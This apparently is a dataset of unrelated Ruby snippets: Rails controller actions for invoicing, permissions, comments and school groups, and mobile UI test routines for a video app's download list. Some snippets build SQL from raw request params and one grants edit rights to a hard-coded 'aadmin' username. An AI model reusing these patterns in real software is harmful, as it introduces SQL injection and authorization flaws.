0\n diferencia=diferencia * -1 \n\n end\n \n\t@total_precio_total+=diferencia\n\n #@total_precio_total+=@list[cont].monto_facturacion\n\tcont+=1\t\n\tend\n\n\n@marca=params[:marca]\n\n#@vista = 'view_factura_orden_despacho_parciales'\n\n end",
"def cargar_menu\n\t\tif session[:usuario]\n\t\t\t@opciones = Menu.find(:all, :order => 'padre, orden')\n\t\telse\n\t\t\t@opciones = []\n\t\tend\n\tend",
"def imprimir()\n\t print \"Maquina: \", @nombre, \"\\n\"\n\t\tprint \"Estado: \", @estado, \"\\n\"\n\t\tif (@estado == \"inactiva\" || @estado == \"llena\")\n \t\t\tprint \"Insumos:\\n\"\n \t\t\timprimirInsumos()\n\t\tend\n\t print \"\\n\"\n\tend",
"def imprimir\n maquina = \"Maquina \" + @nombre + \"\\n\" + \"Estado: \" + @estado\n \n puts maquina\n #-- Solo se imprimen los insumos asociados a la maquina en caso de \n #-- que esta se encuentre en estado inactiva o llena\n case @estado\n when \"Llena\",\"Inactiva\"\n puts \"Insumos:\"\n unless @productoAnterior.nil?\n @productoAnterior.imprimir\n end\n @insumoBasico.imprimir\n end\n end",
"def update\n @categorias = CategoriaObjeto.all.order(:nome).map { |categoria| [categoria.nome, categoria.id]}.prepend(['Selecione uma categoria', 0])\n \n respond_to do |format|\n if @objeto.update(objeto_params)\n format.html { redirect_to @objeto, notice: 'Objeto was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def listEditing(client)\n\n\t\tbegin\n\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@contentDescription='上へ移動']\", 0, 1)\n\t\t\tclient.sleep(2000)\n\t\t\tclient.click(\"NATIVE\", \"text=ダウンロード済み\", 0, 1)\n\t\t\tclient.sleep(2000)\n\n\t\t\tif client.isElementFound(\"NATIVE\", \"text=ダウンロード済みの作品がありません\")\n\t\t\t\t@@dres = @@dres.push(false)\n\t\t\t\t$errMsgEditd = \"::MSG:: ダウンロード一覧に編集するの項目がありませんでした、作品を用意してから又ご確認下さい\"\n\t\t\t\t@@flag = \"false\"\n\t\t\telse\n\t\t\t\tcnt = client.getElementCount(\"NATIVE\", \"xpath=(//*[@id='recycler_view']/*[@class='android.widget.LinearLayout' and ./*[@class='android.widget.LinearLayout']])\")\n\t\t\t\tputs \"Current contents item is #{cnt}\"\n\t\t\t\tgetTitlebd = client.getTextIn2(\"NATIVE\", \"xpath=//*[@id='title']\", 0, \"NATIVE\", \"Inside\", 0, 0)\n\t\t\t\tputs \"Element before editing: #{getTitlebd}\"\n\n\t\t\t\tif cnt > 3\n\t\t\t\t\tfor i in 0..2\n\t\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=(//*[@id='recycler_view']/*/*[@id='delete_button'])[1]\", 0, 1)\n\t\t\t\t\t\tclient.sleep(2000)\n\t\t\t\t\t\tif client.isElementFound(\"NATIVE\", \"xpath=//*[@text='中止する']\")\n\t\t\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='中止する']\", 0, 1)\n\t\t\t\t\t\t\tclient.sleep(1000)\n\t\t\t\t\t\telsif client.isElementFound(\"NATIVE\", \"xpath=//*[@text='はい']\")\n\t\t\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='はい']\", 0, 1)\n\t\t\t\t\t\t\tclient.sleep(1000)\n\t\t\t\t\t\tend\t\t\t\t\t\n\t\t\t\t\tend\n\t\t\t\t\tgetTitlead = client.getTextIn2(\"NATIVE\", \"xpath=//*[@id='title']\", 0, \"NATIVE\", \"Inside\", 0, 0)\n\t\t\t\t\tputs \"Element before editing: #{getTitlead}\"\n\t\t\t\telse\n\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=(//*[@id='recycler_view']/*/*[@id='delete_button'])\", 0, 1)\n\t\t\t\t\tclient.sleep(2000)\n\t\t\t\t\tif client.isElementFound(\"NATIVE\", \"xpath=//*[@text='中止する']\")\n\t\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='中止する']\", 0, 1)\n\t\t\t\t\t\tclient.sleep(1000)\n\t\t\t\t\telsif client.isElementFound(\"NATIVE\", \"xpath=//*[@text='はい']\")\n\t\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='はい']\", 0, 1)\n\t\t\t\t\t\tclient.sleep(1000)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@contentDescription='上へ移動']\", 0, 1)\n\t\t\t\tclient.sleep(2000)\n\t\t\t\tclient.click(\"NATIVE\", \"text=ダウンロード済み\", 0, 1)\n\t\t\t\tclient.sleep(2000)\t\t\t\t\n\t\t\t\tif client.isElementFound(\"NATIVE\", \"xpath=//*[@text='ダウンロード済みの作品がありません']\", 0)\n\t\t\t\t\t@@dres = @@dres.push(true)\n\t\t\t\telse\t\t\t\t\t\n\t\t\t\t\tgetTitlead = client.getTextIn2(\"NATIVE\", \"xpath=//*[@id='title']\", 0, \"NATIVE\", \"Inside\", 0, 0)\n\t\t\t\t\tputs \"Element before editing: #{getTitlead}\"\n\t\t\t\t\tif getTitlead == getTitlebd\n\t\t\t\t\t\t@@dres = @@dres.push(false)\n\t\t\t\t\telse\n\t\t\t\t\t\t@@dres = @@dres.push(true)\n\t\t\t\t\tend\n\t\t\t\tend\t\n\t\t\tend\n\t\t\tif @@flag == \"false\"\n\t\t\t\t$obj_rtnrs.returnNE\n\t\t\t\t$obj_rtnrs.printResult\n\t\t\telse\n\t\t\t\t$obj_edith.returnResult(@@dres)\n\t\t\tend\n\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@contentDescription='上へ移動']\", 0, 1)\n\t\t\tclient.sleep(2000)\n\t\t\tclient.click(\"NATIVE\", \"text=ホーム\", 0, 1)\n\t\trescue Exception => e\n\t\t\t$errMsgEditd = \"::MSG:: Exception occurrred while editing download list: \" + e.message\n\t\t\t@@dres = @@dres.push(false)\n\t\t\t$obj_edith.returnResult(@@dres)\n\t\tend\n\tend",
"def abrir_filtro\n wait_until_btn_selecione_visible\n btn_selecione.click\n end",
"def manage_items\n end",
"def modificar\n if user_signed_in?\n unless current_user.employee.nil?\n @permiso_modificar = false\n @security_role_type = Security::RoleType.find_by(name: \"Modificar\").name\n current_user.employee.security_profile.security_role.security_role_menus.each do |security_role_menu| \n if security_role_menu.security_menu.controller == params[:controller] \n security_role_menu.security_role_type_menus.each do |role_type|\n if @security_role_type == role_type.security_role_type.name\n @permiso_modificar = true\n break\n end\n end\n elsif params[:controller] == \"security/role_type_menus\"\n params[:controller] = \"security/roles\"\n if security_role_menu.security_menu.controller == params[:controller] \n security_role_menu.security_role_type_menus.each do |role_type|\n if @security_role_type == role_type.security_role_type.name\n @permiso_modificar = true\n break\n end\n end\n end\n end\n if params[:controller] == \"service/services\" && current_user.employee.provider_provider_id.nil?\n @permiso_modificar = true\n end\n end\n if current_user.username == \"aadmin\" \n @permiso_modificar = true\n end\n\n if params[:action] == \"edit\" && @permiso_modificar == false\n redirect_to root_path\n end\n return @permiso_modificar\n end\n end\n end",
"def postulantes_por_genero\r\n puts \"-------------------------------------------------------------------------------------------------------------------------------------------------------------\"\r\n puts \"-------------------------------------------------------CANTIDAD DE HOMBRES Y MUJERES POSTULANTES-------------------------------------------------------------\"\r\n puts \"-------------------------------------------------------------------------------------------------------------------------------------------------------------\"\r\n begin\r\n alumnos1 = admin.cantidad_hombres_mujeres\r\n vista.mostrarMensaje(alumnos1)\r\n rescue RuntimeError => e\r\n error_handler(e)\r\n end\r\n menu_principal\r\n end",
"def ilistEditing(client)\n\n\t\tbegin\n\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@class='UNextMobile_Protected.HamburgerButton']\", 0, 1)\n\t\t\tclient.sleep(2000)\n\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='ダウンロード済み']\", 0, 1)\n\t\t\tclient.sleep(2000)\n\n\t\t\tif client.isElementFound(\"NATIVE\", \"text=ダウンロード済みの作品がありません\")\n\t\t\t\t@@dres = @@dres.push(false)\n\t\t\t\t$errMsgEditd = \"::MSG:: ダウンロード一覧に編集するの項目がありませんでした、作品を用意してから又ご確認下さい\"\n\t\t\t\t@@flag = \"false\"\n\t\t\t\tif @@flag == \"false\"\n\t\t\t\t\t$obj_rtnrs.returnNE\n\t\t\t\t\t$obj_rtnrs.printResult\n\t\t\t\telse\n\t\t\t\t\t$obj_edith.returnResult(@@dres)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tcnt = client.getElementCount(\"NATIVE\", \"xpath=//*[@class='UNextMobile_Protected.PlayIndicator' and @onScreen='true' and ./parent::*[@class='UNextMobile_Protected.ThumbPlayButton']]\")\n\t\t\t\tputs \"Current contents item is #{cnt}\"\n\t\t\t\tgetTitlebd = client.getTextIn2(\"NATIVE\", \"xpath=//*[@onScreen='true' and @x=30 and @y=164 and @class='UNextMobile_Protected.LayoutableLabel']\", 0, \"NATIVE\", \"Inside\", 0, 0)\n\t\t\t\tputs \"Element before editing: #{getTitlebd}\"\n\n\t\t\t\tif cnt > 3\n\t\t\t\t\tfor i in 0..2\n\t\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='編集']\", 0, 1)\n\t\t\t\t\t\tclient.sleep(2000)\n\t\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@accessibilityIdentifier='useritem_checkmark']\", 0, 1)\n\t\t\t\t\t\tclient.sleep(2000)\n\t\t\t\t\t\tif client.waitForElement(\"NATIVE\", \"xpath=//*[@text='削除']\", 0, 30000)\n\t\t\t\t\t\t # If statement\n\t\t\t\t\t\tend\n\t\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='削除']\", 0, 1)\n\t\t\t\t\t\tclient.sleep(2000)\n\t\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='はい']\", 0, 1)\n\t\t\t\t\t\tclient.sleep(2000)\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='編集']\", 0, 1)\n\t\t\t\t\tclient.sleep(2000)\n\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@accessibilityIdentifier='useritem_checkmark']\", 0, 1)\n\t\t\t\t\tclient.sleep(2000)\n\t\t\t\t\tif client.waitForElement(\"NATIVE\", \"xpath=//*[@text='削除']\", 0, 30000)\n\t\t\t\t\t # If statement\n\t\t\t\t\tend\n\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='削除']\", 0, 1)\n\t\t\t\t\tclient.sleep(2000)\n\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='はい']\", 0, 1)\n\t\t\t\t\tclient.sleep(2000)\n\t\t\t\tend\n\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@class='UIImageView' and @width>0 and @height>0 and ./parent::*[@accessibilityLabel='player button back']]\", 0, 1)\n\t\t\t\tclient.sleep(2000)\n\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='ダウンロード済み']\", 0, 1)\n\t\t\t\tclient.sleep(2000)\t\t\t\t\t\t\n\t\t\t\tif client.isElementFound(\"NATIVE\", \"xpath=//*[@text='ダウンロード済みの作品がありません']\", 0)\n\t\t\t\t\t@@dres = @@dres.push(true)\n\t\t\t\t\t$obj_edith.returnResult(@@dres)\n\t\t\t\telse\n\t\t\t\t\tgetTitlead = client.getTextIn2(\"NATIVE\", \"xpath=//*[@onScreen='true' and @x=30 and @y=164 and @class='UNextMobile_Protected.LayoutableLabel']\", 0, \"NATIVE\", \"Inside\", 0, 0)\n\t\t\t\t\tputs \"Element before editing: #{getTitlead}\"\n\t\t\t\t\tif getTitlead == getTitlebd\n\t\t\t\t\t\t@@dres = @@dres.push(false)\n\t\t\t\t\telse\n\t\t\t\t\t\t@@dres = @@dres.push(true)\n\t\t\t\t\tend\n\t\t\t\t\t$obj_edith.returnResult(@@dres)\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@class='UNextMobile_Protected.HamburgerButton']\", 0, 1)\n\t\t\tclient.sleep(2000)\n\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='ホーム']\", 0, 1)\n\t\t\tclient.sleep(2000)\n\t\trescue Exception => e\n\t\t\t$errMsgEditd = \"::MSG:: Exception occurrred while editing download list: \" + e.message\n\t\t\t@@dres = @@dres.push(false)\n\t\t\t$obj_edith.returnResult(@@dres)\t\n\t\tend\n\tend",
"def index\n if current_usuario.admin != 0\n\n flash[:title] = \"Productos\"\n clientes = Cliente.where(:usuario_id => current_usuario.id)\n clientesIds = clientes.map{ |x| x.cliente_id }\n productosT = Producto.all\n\n if current_usuario.admin == 2\n @productos = productosT\n else\n @productos = []\n productosT.each do |p|\n @productos << p unless not clientesIds.include? p.usuario.id \n end \n end \n \n else\n flash[:title] = \"Mis Productos\"\n @productos = Producto.where(:usuario_id => current_usuario.id, :on => 1)\n end\n @marcas = get_marcas(@productos)\n #Conjuntos de filtrado\n flash[:productos] = []\n 4.times { flash[:productos].push(@productos) }\n\n @producto = Producto.new\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @productos }\n end\n end",
"def update\n @categorias = CategoriaObjeto.all.order(:nome).map { |categoria| [categoria.nome, categoria.id]}.prepend(['Selecione uma categoria', 0])\n respond_to do |format|\n if @objeto.update(objeto_params)\n format.html { render :success, :locals => {:e => 1} }\n else\n format.html { render :edit }\n end\n end\n end",
"def index\n @permissoes = Permissao.all\n end",
"def process_menu_authorization user, items\n to_delete = []\n if items\n for item in items\n if not item.allow_all_access and not user.authorized?(item.controller, item.action)\n to_delete << item\n end\n item.items = process_menu_authorization user, item.items\n end\n items -= to_delete\n end\n items\n end",
"def mostrar_impedimentos\n @impedimentos = Paciente.find(params[:id]).cuestionario_impedimentos\n end",
"def incluir_filtro\n incluir_filtro_btn.click\n end",
"def set_unidad_medida\n end",
"def set_unidad_medida\n end",
"def alta_profesores\n\t\t@tab = \"admin\"\n\t \tprof = params[:miembro]\n\t \t\n\t \t\tx = User.find(prof)\n\t \t\tx.profesor = true\t#se le dan derechos de profesor\n\t \t\tx.admin = false\n\t \t\tx.estudiante = false\n\t \t\tx.save\n\t \t\n\t \trespond_to do |format|\n\t\t format.html { redirect_to(alta_profesores_lista_path)}\n\t\t format.xml { head :ok }\n\t\tend\n\tend",
"def envia_taxones_seleccionados\n end",
"def imprimir_parciales1\n\n #aqui guardo todos los datos que necesito para imprimirlos en las variable\n\n @width_layout = '955'\n @form_title = ''\n @imprimo='1'\n\n @factura_orden_despacho_otra= FacturaOrdenDespacho.find(:all, :conditions=>\"id in #{params[:parciales_id]}\")\n\n factura_orden_despacho_count=FacturaOrdenDespacho.count(:all, :conditions=>\"id in #{params[:parciales_id]}\")\n\n @factura_orden_despacho=FacturaOrdenDespacho.find(:first, :conditions=>\"id in #{params[:parciales_id]}\")\n\n contw=0\n \n while contw < factura_orden_despacho_count\n @factura_orden_despacho_otra[contw].update_column(:emitida, true)\n #@factura_orden_despacho_otra[contw].emitida=true\n #@factura_orden_despacho_otra[contw].send(:update_without_callbacks)\n contw+=1\n\n end\n\n solicitu=OrdenDespacho.find(OrdenDespachoDetalle.find(@factura_orden_despacho.orden_despacho_detalle_id).orden_despacho_id).solicitud_id\n\n @solicitudes = Solicitud.find(:all,:conditions => ['id = ?', solicitu])\n\n unless @solicitudes[0].nil?\n if !@solicitudes[0].cliente.persona_id.nil? \n \t@es_no=1\n \t@datos_cliente=Persona.find(@solicitudes[0].cliente.persona_id) unless @solicitudes[0].nil?\n else\n \t@es_no=2\n \t@datos_cliente=Empresa.find(@solicitudes[0].cliente.empresa_id) unless @solicitudes[0].nil?\n end\n end\n @numero_desembolso=OrdenDespachoDetalle.find(@factura_orden_despacho.orden_despacho_detalle_id).orden_despacho_id\n\n @orden_despacho= OrdenDespacho.find(:all,:conditions => ['solicitud_id = ?', solicitu])\n\n\n @oficina= Oficina.find(:all,:conditions => ['id = ?', @solicitudes[0].oficina_id]) unless @solicitudes[0].nil?\n\n\n @parametros_general=ParametroGeneral.find(:first)\n\n @condition = \" orden_despacho_id = #{@factura_orden_despacho.orden_despacho_detalle.orden_despacho_id} and cantidad > 0\"\n @total = OrdenDespachoDetalle.count(:conditions=>@condition)\n @list = OrdenDespachoDetalle.find(:all, :conditions => ['orden_despacho_id = ? and cantidad > 0', @factura_orden_despacho.orden_despacho_detalle.orden_despacho_id])\n\n @total_saldo_entregar=0\n @total_precio_total=0\n cont=0\n diferencia=0.00\n @total_monto_confirmado=0.00\n \n while cont< @total\n\n #if OrdenDespacho.find(@numero_desembolso).estatus_id==20000 || OrdenDespacho.find(@numero_desembolso).estatus_id==20010 || OrdenDespacho.find(@numero_desembolso).estatus_id==20020\n \t \n # codigo nuevo al 3/9/2013 \n if ( ((@list[cont].cantidad * @list[cont].costo_real)!=@list[cont].monto_financiamiento) and (@list[cont].monto_recomendado!=0))\n @total_saldo_entregar+=@list[cont].monto_recomendado\n diferencia=@list[cont].monto_recomendado - @list[cont].monto_facturacion \n else\n @total_saldo_entregar+=@list[cont].monto_financiamiento\n diferencia=@list[cont].monto_financiamiento - @list[cont].monto_facturacion\n end\n #codigo nuevo al 3/9/2013 \n \n \n #else\n \t #@total_saldo_entregar+=@list[cont].monto_recomendado\n #diferencia=@list[cont].monto_recomendado - @list[cont].monto_facturacion \n #end\n @total_monto_confirmado+=@list[cont].monto_facturacion\n \n logger.debug \"monto financiamiento = \" << @list[cont].monto_financiamiento.to_s\n logger.debug \"monto facturacion = \" << @list[cont].monto_facturacion.to_s\n logger.debug \"diferencia = \" << diferencia.to_s\n if diferencia < 0\n diferencia=diferencia * -1 \n\n end\n \n @total_precio_total+=diferencia\n\n #@total_precio_total+=@list[cont].monto_facturacion\n \tcont+=1\t\n end\n @vista = 'view_factura_orden_despacho_parciales'\n\nend",
"def index\n @selecionados = Selecionado.all\n end",
"def admin\n @pagina = params[:pagina].present? ? params[:pagina].to_i : 1\n @por_pagina = params[:por_pagina].present? ? params[:por_pagina].to_i : Comentario::POR_PAGINA_PREDETERMINADO\n offset = (@pagina-1)*@por_pagina\n\n tax_especifica = current_usuario.usuario_especies\n contenido_especifico = current_usuario.categorias_contenidos\n\n consulta = Comentario.datos_basicos\n\n if params[:comentario].present?\n params = comentario_params\n\n if params[:categorias_contenido_id].present?\n consulta = consulta.where(categorias_contenido_id: params[:categorias_contenido_id].to_i)\n end\n\n if params[:estatus].present?\n consulta = consulta.where('comentarios.estatus = ?', params[:estatus].to_i)\n else\n consulta = consulta.where('comentarios.estatus < ?', Comentario::OCULTAR)\n end\n if tax_especifica.length > 0\n or_taxa = []\n tax_especifica.each do |e|\n or_taxa << \" #{Especie.attribute_alias(:id)} = #{e.especie_id}\"\n or_taxa << \" #{Especie.attribute_alias(:ancestry_ascendente_directo)} LIKE '%#{e.especie_id}%' \"\n end\n consulta = consulta.where(or_taxa.join(' OR '))\n end\n\n if contenido_especifico.length > 0\n consulta = consulta.where(:categorias_contenido_id => contenido_especifico.map(&:subtree_ids).flatten)\n end\n\n # Comentarios totales\n @totales = consulta.count(:all)\n\n # Para ordenar por created_at, nombre_cientifico o ambos\n if params[:created_at].present? && params[:nombre_cientifico].present?\n consulta = consulta.order(\"#{Especie.attribute_alias(:nombre_cientifico)} #{params[:nombre_cientifico]}, comentarios.created_at #{params[:created_at]}\")\n elsif params[:created_at].present?\n consulta = consulta.order(\"comentarios.created_at #{params[:created_at]}\")\n elsif params[:nombre_cientifico].present?\n consulta = consulta.order(\"#{Especie.attribute_alias(:nombre_cientifico)} #{params[:nombre_cientifico]}\")\n else\n consulta = consulta.order('comentarios.created_at DESC')\n end\n\n @comentarios = consulta.offset(offset).limit(@por_pagina)\n\n else\n # estatus = 5 quiere decir oculto a la vista\n consulta = consulta.where('comentarios.estatus < ?', Comentario::OCULTAR)\n if tax_especifica.length > 0\n or_taxa = []\n tax_especifica.each do |e|\n or_taxa << \" #{Especie.attribute_alias(:id)} = #{e.especie_id}\"\n or_taxa << \" #{Especie.attribute_alias(:ancestry_ascendente_directo)} LIKE '%#{e.especie_id}%' \"\n end\n consulta = consulta.where(or_taxa.join(' OR '))\n end\n if contenido_especifico.length > 0\n consulta = consulta.where(:categorias_contenido_id => contenido_especifico.map(&:subtree_ids).flatten)\n end\n # Comentarios totales\n @totales = consulta.count(:all)\n @comentarios = consulta.order('comentarios.created_at DESC').offset(offset).limit(@por_pagina)\n end\n\n @comentarios.each do |c|\n c.cuantos = c.descendants.count\n c.completa_info(c.root.usuario_id)\n end\n\n @categorias_contenido = CategoriasContenido.grouped_options\n\n response.headers['x-total-entries'] = @totales.to_s\n\n if (@pagina > 1 && @comentarios.any?) || (params.present? && params[:ajax].present? && params[:ajax] == '1')\n # Tiene resultados el scrollling o peticiones de ajax\n render :partial => 'comentarios/admin'\n elsif @pagina > 1 && @comentarios.empty? # Fin del scrolling\n render text: ''\n end\n\n end",
"def index\n if current_user.id == 1 then\n @municipios = Municipio.all\n else\n @municipios = Municipio.where(activo: true)\n end\n end",
"def perform \n \tquel_menu(menu)\n \tjournaliste\nend",
"def incluir_destinatario\n incluir_destinatario_btn.click\n end",
"def index\n @coleccion = Requisito.all\n end",
"def set_lista\n begin\n @lista = Lista.find(params[:id])\n @accion=params[:controller]\n rescue\n render :_error\n end\n end",
"def create\n seleccionarMenu(:juzgados)\n @juzgado = Juzgado.new(params[:juzgado])\n\n respond_to do |format|\n if @juzgado.save\n format.html { redirect_to @juzgado, notice: 'Juzgado fue creado satisfactoriamente.' }\n format.json { render json: @juzgado, status: :created, location: @juzgado }\n else\n format.html { render action: \"new\" }\n format.json { render json: @juzgado.errors, status: :unprocessable_entity }\n end\n end\n end",
"def agregar_alumnos\n @grupo = Grupo.find(params[:id])\n if request.get?\n @alumnos = Alumno.alumnos_sin_grupo(params[:buscar])\n end\n if request.put?\n unless params[:alumno_ids].nil?\n @alumnos = Alumno.find(params[:alumno_ids])\n for a in @alumnos\n @grupo.alumnos << a\n end\n flash[:notice] = \"Se agregaron los alumnos al grupo\" if @grupo.save\n end\n redirect_to grupo_path(@grupo)\n end\n end",
"def index\n #if current_user.rol == ADMIN\n @items = Item.all\n #elsif current_user.rol == PROVEEDOR\n #@items = Items.where(:id => Proveedor.find_by_categorium_id(current_user.id).id)\n\n #end\n end",
"def metodos_con(letras,*clase) # puede ser metodos de una clase, una lista de clases, o una lista de metodos\n if not clase.none? # si no hay parametros busca en los metodos_observados\n self.get_metodos_de(clase) # aca los setea en @metodos_observados\n end\n @metodos_observados.select{|metodo| metodo[0..letras.size].include? letras}\n end",
"def quitar_alumnos\n @grupo = Grupo.find(params[:id])\n if request.get?\n @alumnos = @grupo.alumnos\n end\n if request.put?\n unless params[:alumno_ids].nil?\n @alumnos = Alumno.find(params[:alumno_ids])\n for a in @alumnos\n @grupo.alumnos.delete(a)\n end\n flash[:notice] = \"Se quitaron los alumnos del grupo\" if @grupo.save\n end\n redirect_to grupo_path(@grupo)\n end\n end",
"def index\n if current_user.adm && params[:horarios].present?\n @horarios = Horario.all.order('data desc')\n @todosHorarios = true\n else\n @horarios = Horario.where(user_id: current_user.id).order('data desc')\n @todosHorarios = false\n end\n end",
"def show\n @especificacion = Specification.where(:id => session[:specification_sel_id]).first \n @user = User.where(:username => @especificacion.user_id).first \n\n if current_user.acquisition? || current_user.import? \n @mostrar_editar = true\n elsif current_user.acquisition_analist? || current_user.import_analist? \n\t if @user.director? || @user.directorate? || @user.gsmp? || @user.acquisition? || @user.import? || @user.quality? || @user.manage? || @user.acquisition_analist? || @user.import_analist? || @user.quality_analist? || @user.manage_analist? \n\t\t@mostrar_editar = true\n else\n\t\t@mostrar_editar = false\n end\n elsif current_user.director? || current_user.directorate? || current_user.gsmp? || current_user.quality? || current_user.quality_analist? || current_user.manage? || current_user.manage_analist? || current_user.section_boss? || current_user.proy_responsible?\n\t@mostrar_editar = false\n else\n\t@mostrar_editar = true\n end\n\n\n if current_user.acquisition? || current_user.import? \n\t if @user.director? || @user.directorate? || @user.gsmp? || @user.acquisition? || @user.import? || @user.quality? || @user.manage? || @user.acquisition_analist? || @user.import_analist? || @user.quality_analist? || @user.manage_analist? \n @mostrar_eliminar = true\n else\n @mostrar_eliminar = false\n end\n elsif current_user.acquisition_analist? || current_user.import_analist? \n\t if @user.director? || @user.directorate? || @user.gsmp? || @user.acquisition? || @user.import? || @user.quality? || @user.manage? || @user.acquisition_analist? || @user.import_analist? || @user.quality_analist? || @user.manage_analist? \n @mostrar_eliminar = true\n else\n @mostrar_eliminar = false\n end\n elsif current_user.director? || current_user.directorate? || current_user.gsmp? || current_user.quality? || current_user.quality_analist? || current_user.manage? || current_user.manage_analist? || current_user.section_boss? || current_user.proy_responsible?\n\t@mostrar_eliminar = false\n else\n\t@mostrar_eliminar = true\n end\n\n\n if current_user.acquisition?\n\tif @user.acquisition? || @user.acquisition_analist?\n\t @mostrar_validar = true\n\telse\n\t @mostrar_validar = false\n\tend\n elsif current_user.import?\n\tif @user.import? || @user.import_analist?\n\t @mostrar_validar = true\n\telse\n\t @mostrar_validar = false\n\tend\n elsif current_user.director? || current_user.directorate? || current_user.gsmp? || current_user.acquisition_analist? || current_user.import_analist? || current_user.quality? || current_user.quality_analist? || current_user.manage? || current_user.manage_analist? || current_user.labassistant? || current_user.proy_responsible?\n\t@mostrar_validar = false\n else\n\t@mostrar_validar = true\n end\n\n\n if current_user.gsmp? || current_user.quality? || current_user.quality_analist? || current_user.manage? || current_user.manage_analist?\n\t@mostrar_descargar = false\n else\n\t@mostrar_descargar = true\n end\n\n @acts = Act.find(params[:id])\n \n end",
"def index\n permission_denied and return if current_user.cannot 'read_odt'\n @odts = Odt.all\n @new_odt = Odt.new\n @new_odt.comision_odts.build \n @new_odt.deducciones_odts.build\n end",
"def index\n self.validar_admin\n @inventarios = Inventario.all\n end",
"def recolectores\n @personas = Persona.where(:empleados_id => 2).order(\"apellido ASC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @personas }\n end\n end",
"def edit_ingredients\n @prompt.select(\"Do you want to add or delete ingredients?\") do |menu|\n menu.choice \"Add ingredient(s)\", -> {add_ingredients}\n menu.choice \"Delete ingredient(s)\", -> {delete_ingredients}\n menu.choice \"Back to menu\", -> {nav_menu}\n end\n end",
"def botonMinarAccion(tabla)\n\t\ts=ControlDeBase.new\n\t\ts.creaBase()\n\t\telementos=Minero.new.cuentaElementos()\n\t\tMinero.new.registraElementos()\n\t\ttitulos=s.tablaGeneralTitulos\n\t\tartistas=s.tablaGeneralArtistas\n\t\talbums=s.tablaGeneralAlbum\n\t\tgenero=s.tablaGeneralGenero\n\t\tpath=s.tablaGeneralPath\n\t\ti=0\n\t\te=0\n\t\tcount=0.0\n\t\twhile i<path.length\n\t\t\twhile e<tabla.numRows\n\t\t\t\tif path[i].to_s==tabla.getItemText(e,4).to_s and path[i].to_s!=\"\" and tabla.getItemText(e,4).to_s!= \"\"\n\t\t\t\t\te=0\n\t\t\t\t\ti=i+1\n\t\t\t\t\tnext\n\t\t\t\telse\n\t\t\t\t\te=e+1\n\t\t\t\tend\n\t\t\tend\n\t\t\tif(!path[i].nil?)\n\t\t\t\ttabla.appendRows(1)\n\t\t\t\ttabla.setItemText(i,0,titulos[i][0].to_s)\n\t\t\t\ttabla.setItemText(i,1,artistas[i][0].to_s)\n\t\t\t\ttabla.setItemText(i,2,albums[i][0].to_s)\n\t\t\t\ttabla.setItemText(i,3,genero[i][0].to_s)\n\t\t\t\ttabla.setItemText(i,4,path[i].to_s)\n\t\t\t\ttabla.setItemJustify(i,0,FXTableItem::LEFT)\n\t\t\t\ttabla.setItemJustify(i,1,FXTableItem::LEFT)\n\t\t\t\ttabla.setItemJustify(i,2,FXTableItem::LEFT)\n\t\t\t\ttabla.setItemJustify(i,3,FXTableItem::LEFT)\n\t\t\t\ti=i+1\n\t\t\t\te=0\n\t\t\tend\n\t\tend\n\tend",
"def set_unidad\n @unidad = current_user.empresa.unidades.find(params[:id])\n end",
"def editar\n end",
"def mod_all\n role = Role.find(params[:id])\n user = User.find(params[:role][:user_id])\n user.roles << role\n\n flash[:notice] = \"La modificacion ha sido realizada correctamente.\"\n\n redirect_to :back\n end",
"def index\n @permitidos = Permitido.all\n end",
"def index\n if (!user_signed_in? or !(@@institucion_cultural_roles.concat(@@sup_inc_roles).concat(@@exp_inc_roles).include?(current_user.role)) )\n respond_to do |format|\n format.html { redirect_to(new_user_session_path) }\n end\n return\n end\n \n @title_view = 'Cuidado y Mantenimiento'\n\n if (user_signed_in? && (@@sup_inc_roles.include?(current_user.role)))#INC Sup\n @cultural_heritage_care_and_maintenances =\n CulturalHeritage::CareAndMaintenance.find(:all,:conditions=>[\"cultural_heritage_care_and_maintenances.status = ?\",0])\n elsif (user_signed_in? && (@@exp_inc_roles.include?(current_user.role)))#INC Exp\n @cultural_heritage_care_and_maintenances =\n CulturalHeritage::CareAndMaintenance.find(:all,:conditions=>[\"cultural_heritage_care_and_maintenances.expert = ? AND cultural_heritage_care_and_maintenances.status = ?\",current_user.id,0])\n elsif (user_signed_in? && (@@institucion_cultural_roles.include?(current_user.role)))#MIC\n @cultural_heritage_care_and_maintenances =\n CulturalHeritage::CareAndMaintenance.find(:all,:conditions=>[\"cultural_heritage_care_and_maintenances.responsible = ?\",current_user.id])\n else\n @cultural_heritage_care_and_maintenances = []\n end\n# @cultural_heritage_care_and_maintenances = CulturalHeritage::CareAndMaintenance.all\n\n @lista_heritage_select=CulturalHeritage::CulturalHeritage.all\n 